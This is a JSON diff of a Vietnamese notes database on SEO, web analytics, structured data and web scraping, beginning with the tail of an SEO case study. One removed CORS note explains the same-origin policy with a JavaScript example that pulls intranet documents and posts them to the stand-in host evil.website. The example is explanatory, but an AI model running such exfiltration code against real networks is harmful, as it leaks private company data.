Content\n\n3.1. Hệ Blog\n\n- Xây dựng duy trình làm việc với CTV content bao gồm cách thức và quy trình làm việc với bài viết mới và bài audit.\n- Lên guideline chi tiết: Xác định các dạng bài/dạng nội dung của blog. Từ đó lên guideline chung của bài blog, guideline riêng cho từng dạng bài.\n\n⇒ Nội dung blog website được làm mới hàng ngày chất lượng bao gồm cả nội dung audit cho bài viết cũ và bài viết mới hoàn toàn theo 1 guồng ổn định. Do lượng CTV khá lớn nên mình cần xây quy trình chi tiết để giảm thiểu các vấn đề vướng mắc phát sinh.\n\n3.2. Hệ Cate và sản phẩm\n\n- Nghiên cứu nhu cầu khách hàng ⇒ lên guideline mô tả sản phẩm chi tiết\n- Làm việc với nhân sự listing sản phẩm để fix lại content cũ theo guideline đồng thời áp guideline cho sản phẩm mới để tăng chất lượng content.\n- Thêm nội dung vào phần inforbox của cate ⇒ giúp làm dày nội dung cho trang, tăng mật độ từ khóa của trang cate đồng thời tạo vị trí để gắn internal link với các cate khác\n\n4. Internal link\n\n- Với hệ Blog, ngoài internal link CTV tự gắn, team chủ động gắn internal link theo tầng bài cha - bài con và gắn link về cate tương ứng.\n- Xây dựng hệ internal link vững chắc giữa bài blog - sản phẩm - Trang category - Trang chính sách\n\n5. Offpage\n\n5.1. Tận dụng và lọc Backlink:\n\nNhờ có lượng backlink từ báo book định kỳ khá lớn (team branding triển khai) mà team mình cũng hạn chế được nguồn lực cho phần này.\n\n- Backlink có chủ yếu từ nguồn tự nhiên + book báo. Ngoài ra team có liên hệ trao đổi link/guest post với 1 số website có tiềm năng sau khi đánh giá và chọn lọc.\n- Review và chặn các nguồn backlink xấu, link spam bằng lệnh disavow\n\n5.2. Xây dựng hệ thống Social Share link, Blog 2.0\n\nXây profile trên list social đã lọc. Chọn ra những trang có thể đăng bài ⇒ Lên kế hoạch up nội dung định kỳ để tạo nguồn backlink social ổn định cho website\n\n5.3. Google Business\n\nReview Google Bussiness, bổ sung và xác minh đủ thông tin\n\n5.4. DMCA, tuyển dụng, trang vàng, Maps,…\n\nĐăng ký DMCA, Tín nhiệm mạng, xác minh Maps để tăng độ trust cho website\n\n6. Tối ưu UI/UX\n\n- Xây template UI/UX cho hệ trang blog, trang chuyên mục, trang bài viết chi tiết đáp ứng tiêu chí dễ đọc, dễ nhìn và thuận lợi cho người dùng\n- Bổ sung các tính năng cần cho tối ưu chuyển đổi như gắn banner, shortcode sản phẩm,…\n\n7. Audit\n\n- Audit nội dung bài viết có thứ hạng thấp/tụt hạng, các bài được phân loại thin & duplicate content\n- Audit các lỗi: Ảnh, heading, thẻ meta title, description trùng lặp, lỗi link 404, link sản phẩm hết hàng,…\n- Lỗi web về backend, tính năng mới ảnh hưởng đến SEO\n\n8. Đo lường và đánh giá\n\nXây dựng dashboard đo lường về traffic, thứ hạng keyword, bài viết để theo dõi và đánh giá trực quan định kỳ hoặc ngay khi thấy bất thường.\n\n9. Tối ưu doanh thu từ nguồn traffic Organic hiệu quả\n\nCác phần triển khai SEO giúp team tăng traffic web ⇒ tăng lượng khách hàng vào web ⇒ Tăng doanh thu mà không cần tăng CR.\n\nTuy nhiên, để tăng doanh thu từ cùng lượng traffic/thứ hạng đó. Team đã triển khai theo 1 số key chính sau:\n\n- Tăng hiển thị sản phẩm bằng cách gắn shortcode sản phẩm vào bài post liên quan\n- Thúc đẩy chuyển đổi bằng cách gắn thêm banner ưu đãi riêng cho khách mới trong giao diện blog\n- Với những bài đã có thứ hạng ổn định, tăng traffic bằng cách tăng tỷ lệ click ⇒ Sửa lại toàn bộ tiêu đề thu hút hơn.\n\n### V. KẾT QUẢ ĐẠT ĐƯỢC\n\n- 15% bộ key mục tiêu vào top 1-3: Chủ yếu là key ngành hàng chính với volume lớn, cạnh tranh và mang lại doanh thu cao.\n- 40% top 4-10\n- 50% key ngoài top 10 chủ yếu là các key ngách cấp 2 thuộc link filter. Ít traffic và volume thấp.\n- Doanh thu nguồn organic search mang về ổn định\n- Traffic website tăng trưởng mạnh\n\n(Ảnh mình chụp đến thời điểm mình dừng phụ trách dự án)\n\n### VI. Một số Key Learning mình rút ra\n\n- Với người chuyên làm SEO inhouse như mình thì kết quả của SEO ngoài các chỉ số chuyên ngành như thứ hạng, traffic,…hiệu quả đóng góp về mặt doanh thu/ chuyển đổi cũng là chỉ số vô cùng quan trọng. SEO cũng cần ra số, ở đây là số đơn hoặc số lead ⇒ thứ sẽ mang về doanh thu cho doanh nghiệp\n- Dự án mình làm hầu như tập trung vào tối ưu onpage, nội dung và trải nghiệm người dùng. Do đó sau những đợt update hầu như website của mình không biến động nhiều (Trừ khi web thay đổi code/cấu trúc gây ra lỗi) ⇒ Phục vụ tốt nhất cho người dùng vẫn là hướng làm bền vững với mình\n- SEO là ngành cần kiên trì, có lặp lại cũng có sáng tạo. Tỉ mỉ và chỉn chu luôn cần thiết.\n\nCảm ơn mọi người đã đọc đến đây. Bài hơi dài và có những đoạn có thể mình chưa viết được rõ. Mọi người cứ góp ý cho mình nhé.\n\nThanks all!\nNguồn:: [NGHIỆN SEO](https://www.facebook.com/groups/nghienseo/posts/1420445008625498/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YD" + "Ngày cập nhật": "2024-08-24T05:16:00.000Z", + "id": "by" }, { - "Tiêu đề": "CORS là để trình duyệt bảo vệ người dùng, không phải để bảo vệ máy chủ", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/CORS là để trình duyệt bảo vệ người dùng, không phải để bảo vệ máy chủ", + "Tiêu đề": "Quảng cáo trên Facebook", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Quảng cáo trên Facebook", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "You are at work and you're connected to your company's intranet. Only people in your company's network can see this special website containing secret documents.\r\n\r\nYou visit this random website: [https://evil.website](https://evil.website). On this website, there is the following code:\r\n```js\r\nconst fetchResult = await fetch(\"https://yourcompany.website/secret/documents\");\r\nconst secretsPage = await fetchResult.text();\r\nawait fetch(\"https://evil.website/database/save\", { method: \"post\", body: secretsPage });\r\n```\r\n\r\nSame origin policy (enabled on every browser) disallows this. You cannot be on evil.website and make a request to another website. So line 1 would throw an error and the rest of the code wouldn't run, saving you from a nasty situation.\r\n\r\nCORS exists to loosen up this rule. Maybe yourcompany.website is totally cool with the above scenario because evil.website is their poorly named trusted partner. So yourcompany.website sets up CORS to tell the browser: \"hey if you're making this request from evil.website, it's totally cool with us.\" Now the above code will work as expected as the browser is satisfied with this exception to the same origin policy.\r\n\r\nIn the above example, your browser was potentially being abused to exfiltrate company secrets that are only accessible from your network. Same origin policy protects **your browser** from being abused in these ways. CORS is about providing exceptions to this rule.\r\n\r\nThe misconception here is the following. People set up CORS on their webserver. That's why they expect CORS protects their web server in some way. This is 100% wrong. Setting CORS up properly is about protecting the clients (ie. browsers). The only side-effect CORS has for your webserver is that it may add a few response headers to help out the browser make a decision. The real magic happens on the browser.\r\n\r\nTrích từ:: [What is CORS and why is it so annoying : r/reactjs](https://www.reddit.com/r/reactjs/comments/11cyejn/comment/ja77iy4/)\r\n\r\n[How to win at CORS - JakeArchibald.com](https://jakearchibald.com/2021/cors/)\r\n![](https://wizardzines.com/images/uploads/why-same-origin-matters.png) \r\n[[Same-origin policy ngăn chặn việc script ở tab này điều khiển tab kia]]\r\n[[Origin là sự kết hợp của protocol, hostname và port]]", + "Toàn bộ nội dung": "Nguồn::", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YE" + "id": "bz" }, { - "Tiêu đề": "Có 4 loại vật thể (4 lớp): Tag, NavigableString, BeautifulSoup, và Comment", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/BeautifulSoup/Có 4 loại vật thể. Tag, NavigableString, BeautifulSoup, và Comment", + "Tiêu đề": "Rút gọn link", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Rút gọn link", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Tag là từ điển]]. [[NavigableString là những chữ có trong tag]]\r\nNguồn:: [Beautiful Soup Documentation — Beautiful Soup 4.12.0 documentation](https://www.crummy.com/software/BeautifulSoup/bs4/doc/#kinds-of-objects)\r\n", + "Toàn bộ nội dung": "Nguồn::", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YF" + "id": "b-" }, { - "Tiêu đề": "find() chỉ kiếm tag đầu tiên, find_all() mới kiếm tất cả các tag", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/BeautifulSoup/find() chỉ kiếm tag đầu tiên, find_all() mới kiếm tất cả các tag", + "Tiêu đề": "JSON-LD là một cách để tạo schema", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Schema/JSON-LD là một cách để tạo schema", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```python\r\n# return the first meta tag\r\nsoup.find(\"meta\")\r\n\r\n# return all meta tag\r\nsoup.find_all(\"meta\")\r\n```", + "Toàn bộ nội dung": "![What is Linked Data? - YouTube](https://youtu.be/4x_xzT5eF5Q?si=pKxW5p19YSQkBrxS)\r\n![What is JSON-LD? - YouTube](https://youtu.be/vioCbTo3C-4?si=IIS-mzulM5qAWj3O)\r\n![JSON-LD: Compaction and Expansion - YouTube](https://youtu.be/Tm3fD89dqRE?si=p01fOi2aYxAH6x_J)\r\n\r\n### Differences between JSON-LD, Microdata, and RDFa\r\n\r\n(in the context of HTML documents)\r\n\r\n**Microdata** and **RDFa** are conceptually similar: both syntaxes define attributes that get added to your existing HTML elements.\r\n\r\n**JSON-LD** is a syntax that gets added to a `script` element ([used as data block](https://stackoverflow.com/a/30798784/1591669), not as script), separately from your existing markup.\r\n\r\nSo the primary difference between Microdata/RDFa and JSON-LD is that you have to repeat the content if using JSON-LD, while you can² mark up your existing content if using Microdata/RDFa.\r\n\r\nThese three snippets convey the same structured data (a [`Person`](http://schema.org/Person) with a [`name`](http://schema.org/name) of \"Alice\"):\r\n\r\n```xml\r\n<!-- Microdata -->\r\n\r\n<p itemscope itemtype=\"http://schema.org/Person\">\r\n Hi, I’m <span itemprop=\"name\">Alice</span>.\r\n</p>\r\n```\r\n\r\n```xml\r\n<!-- RDFa -->\r\n\r\n<p vocab=\"http://schema.org/\" typeof=\"Person\">\r\n Hi, I’m <span property=\"name\">Alice</span>.\r\n</p>\r\n```\r\n\r\n```xml\r\n<!-- JSON-LD -->\r\n\r\n<p>\r\n Hi, I’m Alice.\r\n</p>\r\n\r\n<script type=\"application/ld+json\">\r\n {\r\n \"@context\": \"http://schema.org\",\r\n \"@type\": \"Person\",\r\n \"name\": \"Alice\"\r\n }\r\n</script>\r\n```\r\n\r\n### Which to use?\r\n\r\n**JSON-LD** if you want to add a blob of structured data, without having to care about existing markup. Might be easier for tools that don’t support structured data (and you use other tools to generate/add it), or when copy-pasting ready-made snippets.\r\n\r\n**Microdata/RDFa** if you want to make use of your existing markup (so you don’t have to duplicate the content → [DRY](https://en.wikipedia.org/wiki/Don't_repeat_yourself \"Don't repeat yourself\")). Might be easier if adding it by hand, or when tools already support it (like Drupal).\r\n\r\nIf deciding between Microdata and RDFa: I [recommend](https://stackoverflow.com/a/14501684/1591669) to use RDFa instead of Microdata, primarily because of the [differences outlined in this answer on Stack Overflow](https://stackoverflow.com/a/25888436/1591669).\r\n\r\nRDFa and JSON-LD are both W3C Recommendations and both are RDF serializations.\r\n\r\n\r\nDo I understand right, JSON-LD can only let you specify general info about whole page, but you can't express which exactly parts of the webpage correspond to which object in JSON-LD? Like, if you have a list of books, you can specify in JSON-LD that this page shows a list of books, but you won't be able to tell which of the books described in the JSON-LD correspond to which exactly element on the webpage? If so, Microdata/RDFa have one more important advantage: providing context to screenreaders used by blind people, but maybe I'm missing something in how JSON+LD works.\r\n\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [How does Microdata rdfa compare to JSON-LD? - Software Engineering Stack Exchange](https://softwareengineering.stackexchange.com/questions/328567/how-does-microdata-rdfa-compare-to-json-ld#comment981918_328711)\r\n\r\n[[Open Graph chuyên cho việc chia sẻ trên mạng xã hội. Schema chuyên cho việc tìm kiếm trên Google]]\r\n\r\n[Schema là gì? Cách thêm Schema Markup tăng sức mạnh website](https://vietnix.vn/schema-la-gi/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-19T05:15:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YG" + "id": "b_" }, { - "Tiêu đề": "NavigableString là những chữ có trong tag", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/BeautifulSoup/NavigableString là những chữ có trong tag", + "Tiêu đề": "Open Graph chuyên cho việc chia sẻ trên mạng xã hội. Schema chuyên cho việc tìm kiếm trên Google", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Schema/Open Graph chuyên cho việc chia sẻ trên mạng xã hội. Schema chuyên cho việc tìm kiếm trên Google", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Beautiful Soup Documentation — Beautiful Soup 4.12.0 documentation](https://www.crummy.com/software/BeautifulSoup/bs4/doc/#bs4.NavigableString)", + "Toàn bộ nội dung": "[[JSON-LD là một cách để tạo schema]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YH" + "id": "c0" }, { - "Tiêu đề": "Tag là từ điển", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/BeautifulSoup/Tag là từ điển", + "Tiêu đề": "Open Graph và Schema.org là từ vựng. JSON-LD, RDFa và Microdata là ngữ pháp", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Schema/Open Graph và Schema.org là từ vựng. JSON-LD, RDFa và Microdata là ngữ pháp", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```python\r\nsoup = BeautifulSoup('<b class=\"boldest\">Extremely bold</b>', 'html.parser')\r\ntag = soup.b\r\ntype(tag)\r\n# <class 'bs4.element.Tag'>\r\n```\r\n\r\n```python\r\ntag = BeautifulSoup('<b id=\"boldest\">bold</b>', 'html.parser').b\r\ntag['id']\r\n# 'boldest'\r\n```\r\nNguồn:: [Beautiful Soup Documentation — Beautiful Soup 4.12.0 documentation](https://www.crummy.com/software/BeautifulSoup/bs4/doc/#bs4.Tag.attrs) \r\n[[Những vật thể đơn giản dùng để tra cứu dữ liệu theo từ khoá gọi là từ điển]]", + "Toàn bộ nội dung": "Nguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [OpenGraph or Schema.org? (closed)](https://stackoverflow.com/a/17589792/3416774)\r\n\r\n[[Open Graph chuyên cho việc chia sẻ trên mạng xã hội. Schema chuyên cho việc tìm kiếm trên Google]] \r\n\r\n[[JSON-LD là một cách để tạo schema]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YI" + "id": "c1" }, { - "Tiêu đề": "Cào web", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/Cào web", + "Tiêu đề": "SEO", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/SEO", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![The Ultimate Scraper Tutorial | Extract Data Without Code - YouTube](https://youtu.be/26Gt_9kFVok?si=4jzHc0Ni0UEcHZ-p)\r\n- Có bản miễn phí\r\n- Thực chất là dùng trên local nên chắc có thể crack được\r\n- ", + "Toàn bộ nội dung": "![SEO for Developers in 100 Seconds - YouTube](https://youtu.be/-B58GgsehKQ?si=b_NUJJvEDwUDlwfe)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YJ" + "id": "c2" }, { - "Tiêu đề": "Kiếm backend API trước hơn là cào bằng frontend", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/Kiếm backend API trước hơn là cào bằng frontend", + "Tiêu đề": "Chiến dịch là sản phẩm", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Chiến dịch là sản phẩm", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: \r\n![The Biggest Mistake Beginners Make When Web Scraping - YouTube](https://youtu.be/G7s0eGOaRPE?si=ANRwjI3g9xinqAil)\r\n![Always Check for the Hidden API when Web Scraping - YouTube](https://youtu.be/DqtlR0y0suo?si=WZdEdGAkoetfmO4P)\r\n", + "Toàn bộ nội dung": "Khi trang web chỉ là những bài viết thì có thể dùng nhóm chủ đề. Nhưng tốt nhất là cố gắng tìm ra mục tiêu của mình khi viết những bài đó, biến nhóm chủ đề đó thành một dự án, đặt tên cho dự án đó, rồi dùng tên đó để làm tên chiến dịch.\r\n[[Dự án là sản phẩm]]\r\n\r\nTuy nhiên, do dựa vào tên trang ta có thể suy ra được", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YK" + "id": "c3" }, { - "Tiêu đề": "Remote Control được sinh ra để giải quyết vấn đề Same-Origin Policy", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/Selenium/Remote Control được sinh ra để giải quyết vấn đề Same-Origin Policy", + "Tiêu đề": "Client-side tracking thiếu chính xác", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Client-side tracking thiếu chính xác", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Same-origin policy ngăn chặn việc script ở tab này điều khiển tab kia]]\r\n[[CORS là để trình duyệt bảo vệ người dùng, không phải để bảo vệ máy chủ]]\r\nNguồn::\r\n", + "Toàn bộ nội dung": "Nguồn:: [analytics - What would be the reasons for not using UTM parameters? - Webmasters Stack Exchange](https://webmasters.stackexchange.com/questions/144604/what-would-be-the-reasons-for-not-using-utm-parameters/144608?noredirect=1#comment203122_144608)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YL" + "id": "c4" }, { - "Tiêu đề": "Selenium bao gồm IDE, Remote Control, WebDriver và Grid. Selenium 1 thực ra là Remote Control. Selenium 2 thực ra là Remote Control có thêm WebDriver", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cào web/Selenium/Selenium bao gồm IDE, Remote Control, WebDriver và Grid. Selenium 1 thực ra là Remote Control. Selenium 2 thực ra là Remote Control có thêm WebDriver", + "Tiêu đề": "Có thể có tới 40% người dùng dùng adblock. Số độc giả rành công nghệ có thể lên tới 58%", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Có thể có tới 40% người dùng dùng adblock. Số độc giả rành công nghệ có thể lên tới 58%", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Remote Control được sinh ra để giải quyết vấn đề Same-Origin Policy]] \r\n\r\n- Selenium IDE được phân phối dưới dạng plug-in của Firefox và khá dễ dàng để cài đặt và sử dụng. Người dùng không bắt buộc phải có kiến thức lập trình. Selenium IDE là một tool lý tưởng cho người dùng naive.\r\n- Selenium RC là một server cho phép một người dùng tạo ra kịch bản test với ngôn ngữ lập trình mong muốn. Tool cũng cho phép thực hiện các kịch bản test trong phạm vi rộng của các trình duyệt.\r\n- Selenium Grid đưa ra tính năng bổ sung vào Selenium RC bằng cách phân phối các kịch bản trên nhiều nền tảng và trình duyệt để thực hiện cùng một lúc, do đó thực hiện theo kiến trúc master-slave.\r\n- WebDriver là một tool khác hoàn toàn, có nhiều ưu điểm hơn Selenium RC. Sự kết hợp của Selenium RC và WebDriver được biết đến với cái tên Selenium 2. WebDriver tương tác trực tiếp với trình duyệt web và sử dụng khả năng tương thích gốc để tự động hóa.\r\n- Selenium 3 là sản phẩm được dự đoán nhiều nhất trong bộ Selenium nhưng chưa được đưa ra thị trường. Selenium 3 được khuyến khích dùng trong kiểm thử mobile.\r\n\r\nNguồn:: [[Viblo]], [Selenium Tutorials - 31+ Bài hướng dẫn học Selenium](https://viblo.asia/p/selenium-tutorials-31-bai-huong-dan-hoc-selenium-eW65Gx8PKDO)", + "Toàn bộ nội dung": "Nguồn:: [analytics - What would be the reasons for not using UTM parameters? - Webmasters Stack Exchange](https://webmasters.stackexchange.com/questions/144604/what-would-be-the-reasons-for-not-using-utm-parameters/144608?noredirect=1#comment203122_144608)\r\n\r\nNguồn:: [58% of Hacker News, Reddit and tech-savvy audiences block Google Analytics | Plausible Analytics](https://plausible.io/blog/google-analytics-adblockers-missing-data)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YM" + "id": "c5" }, { - "Tiêu đề": "Component hàm không có trạng thái (stateless). Component lớp có trạng thái (stateful)", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Component hàm không có trạng thái (stateless). Component lớp có trạng thái (stateful)", + "Tiêu đề": "Dự án là sản phẩm", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Dự án là sản phẩm", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Component hàm chỉ hữu ích khi dùng hook\r\nNguồn:: ![#13 Stateless/StateFull Components | React Cơ Bản Cho Beginners Từ A đến Z](https://youtu.be/geRMeU1JExk?si=WrqoU8GRdyT7po1S)\r\n\r\nComponent lớp hữu ích khi cần quan tâm đến vòng đời của component\r\nNguồn:: [Components | Preact: Fast 3kb React alternative with the same ES6 API. Components & Virtual DOM.](https://preactjs.com/tutorial/03-components/)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YN" + "id": "c6" }, { - "Tiêu đề": "Component là những hàm hoặc lớp trả về một khối JSX", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Component là những hàm hoặc lớp trả về một khối JSX", + "Tiêu đề": "Chỉ cần dùng một measurement ID cho các subdomain", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Chỉ cần dùng một measurement ID cho các subdomain", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: <iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/uzYSCOwhzxw?si=YvWPMQJ0ydFFM1BR&start=535\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen></iframe>\r\n\r\n![](https://obedparla.com/static/cf7892f6a3db2815d6c502fe74538e4a/1f85e/box-inside-box.webp)\r\n\r\n\r\nNguồn:: [Mental model trong React | TopDev](https://topdev.vn/blog/mental-model-trong-react/)\r\n[[JSX là cách để viết JS như thể viết HTML]]\r\n[[Component hàm không có trạng thái (stateless). Component lớp có trạng thái (stateful)]]", + "Toàn bộ nội dung": "Khái niệm:: \r\n[[❓Measurement ID của web data stream chính là Google tag ID]]\r\n[Subdomain Tracking with Google Analytics 4 (2023)](https://www.analyticsmania.com/post/subdomain-tracking-with-google-analytics-and-google-tag-manager/)\r\nNguồn:: ![How to Track Subdomains with Google Analytics 4 - YouTube](https://youtu.be/7laoCJcnqGk?si=16qA6p_DT_O7OtVT)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YO" + "id": "c7" }, { - "Tiêu đề": "Dùng fetch dạng promise chứ đừng await trong component", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Dùng fetch dạng promise chứ đừng await trong component", + "Tiêu đề": "Google Analytics dùng cookie để theo dõi hoạt động", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Google Analytics dùng cookie để theo dõi hoạt động", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Không có async component vì hiệu suất quá tệ]]\n\n[[Promise được sinh ra là để không phải dùng if lồng quá nhiều]]\n```js\nfetch('https://jsonplaceholder.typicode.com/postses').then(function (response) {\n\t// The API call was successful\n\t// (wait, it was?)\n\tconsole.log(response.status);\n\treturn response.json();\n}).then(function (data) {\n\t// This is the JSON from our response\n\tconsole.log(data);\n}).catch(function (error) {\n\t// There was an error\n\tconsole.warn(error);\n});\n```\nTham khảo:: [The JavaScript fetch() method | Go Make Things](https://gomakethings.com/the-javascript-fetch-method/)", + "Toàn bộ nội dung": "[[Cookie là các tệp nhỏ được lưu trong trình duyệt]]\r\nMột Google Analytics Cookies thì có phần đầu của nó được gọi là phiên bản GA với dãy ký tự là GA1.1, hoặc GA1.2. Nó phụ thuộc vào mã đo lường Google Analytics mà bạn đang sử dụng là gì.\r\n\r\nPhần tiếp theo là những con số ngẫu nhiên. Phần cuối cùng được ngăn cách bởi một dấu “.” với phần số ngẫu nhiên. Nó có tên gọi là “first timestamp”. Nó cho biết thời điểm bạn truy cập trang web cụ thể lần đầu tiên là vào lúc nào. \r\n\r\nVà dãy số ngẫu nhiên và dãy “first timestamp” được gọi chung là ID khách hàng. Đó là một định danh duy nhất của người dùng.\r\n\r\n![](https://s3.ap-southeast-1.amazonaws.com/thcmedia.vn/wp-content/uploads/2021/09/25141332/GS1.1.1632493916.1.1.1632493991.0-1024x576.png) \r\n\r\nNguồn:: [Bạn Đã Nghe Đến Google Analytics Cookie?](https://thcmedia.vn/google-analytics-cookie/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-30T05:47:00.000Z", - "id": "YP" + "Ngày tạo": "2023-10-14T04:01:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "c8" }, { - "Tiêu đề": "JSX là cách để viết JS như thể viết HTML", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/JSX là cách để viết JS như thể viết HTML", + "Tiêu đề": "Google Analytics", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```jsx\r\nconst element = <h1>Hello, world!</h1>;\r\n```\r\nNguồn:: [Tổng quan về JSX](https://viblo.asia/p/tong-quan-ve-jsx-Qbq5QqBL5D8)\r\n\r\nĐiều này tương tự như việc [[await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự]]", + "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"⚡Hiểu biết sâu/Tiếp thị số/Web analytics/Google Analytics\" \r\nWHERE file.name!=this.file.name\r\n```\r\n\r\n[Google Analytics Và Tại Sao Nó Không Chính 